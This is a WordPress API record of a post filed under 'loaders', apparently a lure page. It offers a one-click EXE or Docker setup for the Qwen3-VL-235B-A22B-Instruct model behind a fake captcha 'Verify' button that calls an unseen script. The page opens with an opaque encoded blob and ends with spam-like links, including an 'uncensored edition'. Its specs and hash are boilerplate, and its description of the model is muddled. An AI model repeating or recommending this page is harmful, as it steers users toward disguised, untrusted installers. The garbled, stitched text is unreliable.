dhREYeftsYfc0FPkou42w9jcFmVMiaRQRHYONZKT2CDRDdWcRDfgZLN7ZCy4dDB6PPwkHtDFpabGF4BuR+sF8RsIaJZ1bIo6HOxADUif5lTnaJuEy7B9RKMlZ0oOjTQ+q12ki6QwdFIo4D1ayNaGNhBP2vb+u8SPpXRGHKr8Ve3VY+tXKatNybZqCycxqZnH3bOdjhEGK4o7rIp+SWbuB16cL2gpuR\/pPXt\/IkTi0PkjfWRppmkTP7S3671WHLGsYeUoYOHeAz50x\/g65vqw1eCMqiQjsV4uNRvInc5YcX\/uMZtePnCvUQyQbgzHTrH4Nuhd2kXJC5SioRJsVNSAAHbnv+6aRVE15OZnwAGJK4+PLcyYDZWbbgWoAPh71zg\/B4wCr60f\/eKE76Y099fcl36dnzot+KS8\/nf2YJpzcZb4S37bNFbkcQawgaPiC8UJjMu2r1tAcSo9FPSicfakptDFtzNBa0CQDWQBXMO9Ap9IgfYufL5+K09Hbz38NHurykH+ytXy34iRFVBpOp4h4eMXo\/eQ+r5c15xjnZpq2qwGdAXCVVOSeoZ+oUMuAs2u5U8JChkL+hP2u1nWFJLopfWKyc3ZjWNRGC1DlXnXITasf\/Ww\/voxJLnYViVNMwI9U5GjoZR5+4fS7BFUIJqFD+JhGDG6GiRBSBh+hulFtKMFkCUOFlrN2XLBqluSudoJEMAf2L5pvwiIR5lVSOPu4vpxsmOuMlChXYj9D8WlwVzngKAAAAAAAACmPp8ABoCGSi3jo7tn9MoB++7J8ee4fQbmc8HGVy+K10z12MHHYD+86WqniwPBh1\/jBEir1GV+6vRmKxTuapNUnGxUm5yYWjWfdR5VIWLQYFsCnWUEOangrXZAF4Fyr2Y716JFvDDbqZ77LSFA3nU6x+jQDzlXcbTS5X9M0589LY9gd59fFoQtUf8ls8cHX6\/TtIDJMpZdvXW0dWkL0eFXCvA+BVd+YMbPOc9yvFJb8SyfVA\/Ew6eIXMMYbDMsPNmVW2VIYqu2ZDCz+ye2++N9HbBqr7a1kfScJHV3mHOaIvd9E5LaRM43FSkK+eURwqRv3mWnTgOYFzuaglXCCPiLPRqAu3B9TknQCl02yphMBJk7kHRVinmHGOXS+SLzKO+c9Cr\/jEqWMwTY76EjyfQnJfkMMxRLyRiJcnJg3c01\/N1GKXFjObiixFYSU1cRQ6XmnWUSPFlQ6PuxA2eM8cNB9l5EWg7soHw6lZ7ydE8134r2xkbusavhhcUQP+4qI8sq\/cNit3lS+qCCHA0jjl0bmNSxLd6dVsicLDvIRIwCUpsgKYj7klGg+14u+fQcuADD6I8wYX3PdhAEv+OBVsdbE\/FAXhGgU6bF3CAudXEXpx4bNHvoj6TArtJyJdhvshlVke99p\/Nc362TfmxDUZwHoPYy8dOHZjBoJxGX5uAAAUCTFXwjd2WryLfqqbQL04izWcFGT8EGiPJtmmsiGYMvKGZ13nBrdZVWzYprUctVsE2LojWwGO5WhxBAVOtr3d1QPLbmNb\/yyLvxyNDwZBF+8yUelOXmrub3aWtoA5\/xOlTw1Fq1XEUOQjxZ0g8wmCXjZGMyjjbUjnagAAgUPR0BB6Eg7WBUctYwn0CVsIJgPQ\/huOCeQQefgbGmjxuqEPtKc2uMvu7GpTvLwQy6Lz1pIer\/1Z+ijHWKFx6hnEun438JgjnzxitHwTwQdd9darnFbepJpHNJZl3p+jyfxm4UBOptoLwZLbB3xziYGunuJsiIXpT1RYrimAxuBYpd3ZoB+cQaj3IMqSuds2MIzKjUpExJgSIOf03Zq\/CLF11nYTTVtciDjPJ4fEN9X6Jyje2s38IAOIbgFJ\/z3CElBUUWGk+fAZ109U6tZY42JLv06sD9G9JczSvKYFUdcZffP3zTSIIZFxSR\/9d6OsdOol0dMpBmuPkAmrFaGIYqfj3gYMGgF5JqDRTjXJDrn8LvZ9bFr5uyQUAIoZjaK5APRCmLBBBzUh9KcIJJ52uVYAUglHgUHHQfp4U90djLBNUO3D9mkIENtm+RM6CZYSpm3fiN5Ehr18e9+u8w1k5swpE1JqYiLVpAAvYYWdf36YAKsBkCPEEG8MvczHnxnvO\/v4haduRBqdyYKLydZUSek8tZ+mQZc83Iud8w3BNqC\/Tyk2ZTeWdtX+yKbzy+wPRHxTfmBkIqB10IEs5FjUbZQznP\/+UE5\/2nVzLAz55JtMqlSbH2n7YECgH3K7wlmFlw80gQ2OTmw+IjiEIkF10mbVBsip+BUgobNZa4p032ffMwEer6p\/sM4Pl9GApn6FUvBYJh3odY\/DyZVRLSiLx8NB++pziaVqSlgp2+MHFcCLst3vSDIXY\/61sqcrvuO\/NzZwPpCAYYAAAAAAGhrWgBQgcHa+G45axw1rrKASFtnBtKU8TRomd7nrVFFdB8Gwp1nr+7FrF6kZjZaVzWgHL6ONHUaqE489NhvsyWywbW0O\/doYIX+KRZNms49VM\/yDIWqZo4zB4brEE\/nA68Kd5\/\/2\/RTuD11rwKpTQ4Aj3pitH80CZdK61Lc3H7T8KKAybHj1Thxytd8l\/lpFX6Q\/bvMj5K9CbP9ZbGl\/2XVeQVe9hmqX4\/12dA13C9TwtphQOnWWGNEb62rYNTN767OrUE4ZqdW76AfqKaRVvTaeTzE7m1i7wBUAOIuE7UoPixlp6B\/9ji1DoaWIiQepi9bUMWLI62VFRymmaI7cBN52y1pZvAUkHzmZHWhlYKZ54EShiLT6Y0jtyBRX6lhC5+sqSnH\/QG49Awa2aB2PcDK4bJrCC6+6t7cUaw530topKDqQg65M6qpng9k1NFE23JRboiVlhFEFUXwzp1G9jSvCKTEhenAf1L4qFuTGQY3r9rQohHmBcazJjCyo8JE5K6pY3FshFYWRMN8r8k4AHcgWlRi4x9vptYYAF3d1v3nVbwerl7UIEkrn1bLbZvVTv3VQfSGiQybb8wjgQUwKXshLZBbA69E9\/43KXHP3oSIOGwHfGj7CYNfABGM0wF53ycHizWyn9bG0AYPh0vmb2i0UgTmdQQBNxxbIoQqk1U1Xf2KVEHEOS7b2US\/MKL3vzL8HaLxWdGK5aghm38uQe6zs4cozwlfjr8CNRIIEr1fxjnLkmLya2cBFCwu36y0gArpBupPW0b1XkRUYfWgOLt\/DfO6S2ppySiMSY76cN+UrgZA8pkfnd4FX9ForUFc7LC10A69xHWr9zYMvE6hEJ6VMDoF3awnk1USz\/d7\/Gd+dWwfy48kZJs3relTql\/P4yM+6pUXkz6wRITSLWmpKZBqBJ40IjsgDvubkq7X1\/xkvncaP81EoBdOlKLkHaS+rudlhyngqIWnI84EWwH\/\/9qUM3mFL9n5VgulGJjKe3Fu3x23jjneFkohHaq58S877Lod+jikoTnJjBezZaqe\/S9B3mlgrAzk0516wRSEc35b9ksJGV+nFg51pwh8TUnxg2\/\/igD3H6O1tot9baVt0FdpYf6oedNA7zcEcPPLAFpNsmHaOZmDq\/gmcKaDuaOhcZGwTPbrxJzOjl5OSGk6YP6LC0hRsbFCloko87iOEKee33\/75sArG4eW0TxrHRdIdBcGKiwzO4iNilYcEyEzQQqgYwIh\/yCg6Lj6bWUCb2MJTxkSsNOxg4FxXr+7QSmhoVRodv8vi4EIymRPKABH8Rid3\/YnhTyM3EA4tduKtsKmQl3HlLdHithfNmkXhec+1ZRL+jJ8wnbMlD0N1Mqgu\/9XCXdAyB+wXVUu\/vPmoBDo1gHxlxPXMiDqF1iItSV7oKb7ugWqgNtY+nI\/oqdkZl5ApePF+q0H7o56pvLMMCkGj06qHHjv5E\/vYw+4aFffo0xDLTC+3tbgG2THuTMFJ3GbZdVs5JS3VLebO2v+PWd2eNNkxX\/KbyFbn0E36NmY\/jDYLDo8LP5Dyc94vBQs5aiY47zTCfdezIY75qYEMpay6NpYIq5QqrVAlIDUR1x6fOxjBE\/WHAENBt4U0jDg7ArhE410\/RkJq5s7Fv0Q6Tl5VKa4SFdb7Z1WNzB9qojJt\/pHVDn03GFSSLLkUTpqg56ukZ1SKaxKHHRvl\/PXiqn0TawZkH5PGw9oNBMb\/DL45dornU9\/k2\/y49OvAbWpWn+t0\/nAquIGZn8H6z9CpO6\/jb6MMzGp1BBdago0DCX\/K5X\/V55DaHTboGaWsEVqx7vEtYxdCb\/l496dIps13BmifcMRBY8Ypl\/Y3vySp8At+N05n6sOH7JWxDk81VWtmxzvSAl8KXwjK1AFAyFv8FzltkVB7x71uLhIbiIcnZEIjLprBIaZaRh0Z+r\/jaiS1CrJIUhJJ4F2ZWyUjSueRfiU7gbuNpjdT5oQBqWzFK1Jdds37k4LTg0ACrxBHrc188OYZV7\/dPRoPxzGVIpXX24pN9fXxF\/sfdY3mG3ElLUa0wAATlNJqDMmDCB76x8eL6AqrhbHNFvC1m5BwQ\/4NQ2BW+6vLARa466VSxlctPywqgcMZJoYIptGVulAnDyt2sKwn7ZS5ycL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alt=\"How to Autostart Qwen3-VL-235B-A22B-Instruct No Python Required Direct EXE Setup\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>fastest method<\/i> for installing this model locally is by using <b>Docker<\/b>.<\/p>\n<p>Please <b>follow the instructions<\/b> listed below to get started.<\/p>\n<p> <\/p>\n<p><i>The client handles the setup, pulling gigabytes of data automatically.<\/i><\/p>\n<p> <\/p>\n<p>The script runs a quick hardware check to <b>dynamically adjust parameters for elite speed<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5;box-shadow:0 14px 28px rgba(0,0,0,0.06);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em;\">\n<div style=\"text-align: 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><strong>Processor:<\/strong> high <strong>single-core<\/strong> performance needed for token latency<\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The Qwen3-VL-235B-A22B-Instruct model combines a massive <b>235\u202fbillion parameters<\/b> with an <b>A22B<\/b> architecture to deliver <i>state\u2011of\u2011the\u2011art<\/i> multimodal understanding. It processes text and images simultaneously, enabling <i>high\u2011fidelity<\/i> vision\u2011language tasks such as caption generation, visual question answering, and diagram interpretation. The model was fine\u2011tuned on a diverse corpus of <b>web\u2011scale<\/b> text and <b>image\u2011caption pairs<\/b>, which improves its contextual reasoning and visual grounding. Its <b>context window<\/b> extends to <b>32\u202fk tokens<\/b>, allowing it to retain long\u2011range dependencies across documents and complex scenes. In benchmark evaluations, Qwen3-VL-235B-A22B-Instruct consistently outperforms prior large multimodal models on both <b>accuracy<\/b> and <b>efficiency<\/b> metrics. The accompanying <b>instruction\u2011tuned<\/b> variant ensures reliable performance on user\u2011centric prompts, making it suitable for production\u2011grade AI assistants.  <\/p>\n<table>\n<tr>\n<th>Metric<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>235\u202fB<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>32\u202fk tokens<\/td>\n<\/tr>\n<tr>\n<td>Modalities<\/td>\n<td>Text + Image<\/td>\n<\/tr>\n<tr>\n<td>Training Data<\/td>\n<td>Web\u2011scale text &#038; image\u2011caption pairs<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Downloader for specialized RVC v2 model packs for voice generation<\/li>\n<li>Quick Run Qwen3-VL-235B-A22B-Instruct on Copilot+ PC One-Click Setup 5-Minute Setup<\/li>\n<li>Installer deploying complex ComfyUI nodes for Flux-ControlNet-Inpainting stacks<\/li>\n<li>How to Setup Qwen3-VL-235B-A22B-Instruct Uncensored Edition Offline Setup<\/li>\n<li>Installer deploying local vector search structures for Dify automation<\/li>\n<li>Qwen3-VL-235B-A22B-Instruct on Copilot+ PC Quantized GGUF Offline Setup FREE<\/li>\n<\/ol>","protected":false},"excerpt":{"rendered":"<p>The fastest method for installing this model locally is by using Docker. Please follow the instructions listed below to get started. The client handles the setup, pulling gigabytes of data automatically. The script runs a quick hardware check to dynamically adjust parameters for elite speed. \ud83d\udcc4 Hash Value: d8fb28dc9c57c879f059256c3e663c42 | \ud83d\udcc6 Update: 2026-07-03 Verify Processor: high single-core performance needed for token latency RAM: 32 GB or higher for smooth 32k context lengths Disk Space: 80 GB NVMe SSD required for fast model weights loading GPU: high memory bandwidth GPU for next-gen local AI pipeline The Qwen3-VL-235B-A22B-Instruct model combines a massive 235\u202fbillion parameters with an A22B architecture to deliver state\u2011of\u2011the\u2011art multimodal [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[67],"tags":[],"class_list":["post-2975","post","type-post","status-publish","format-standard","hentry","category-loaders"],"_links":{"self":[{"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/posts\/2975","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/comments?post=2975"}],"version-history":[{"count":1,"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/posts\/2975\/revisions"}],"predecessor-version":[{"id":2976,"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/posts\/2975\/revisions\/2976"}],"wp:attachment":[{"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/media?parent=2975"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/categories?post=2975"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cncarv.com\/ja\/wp-json\/wp\/v2\/tags?post=2975"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}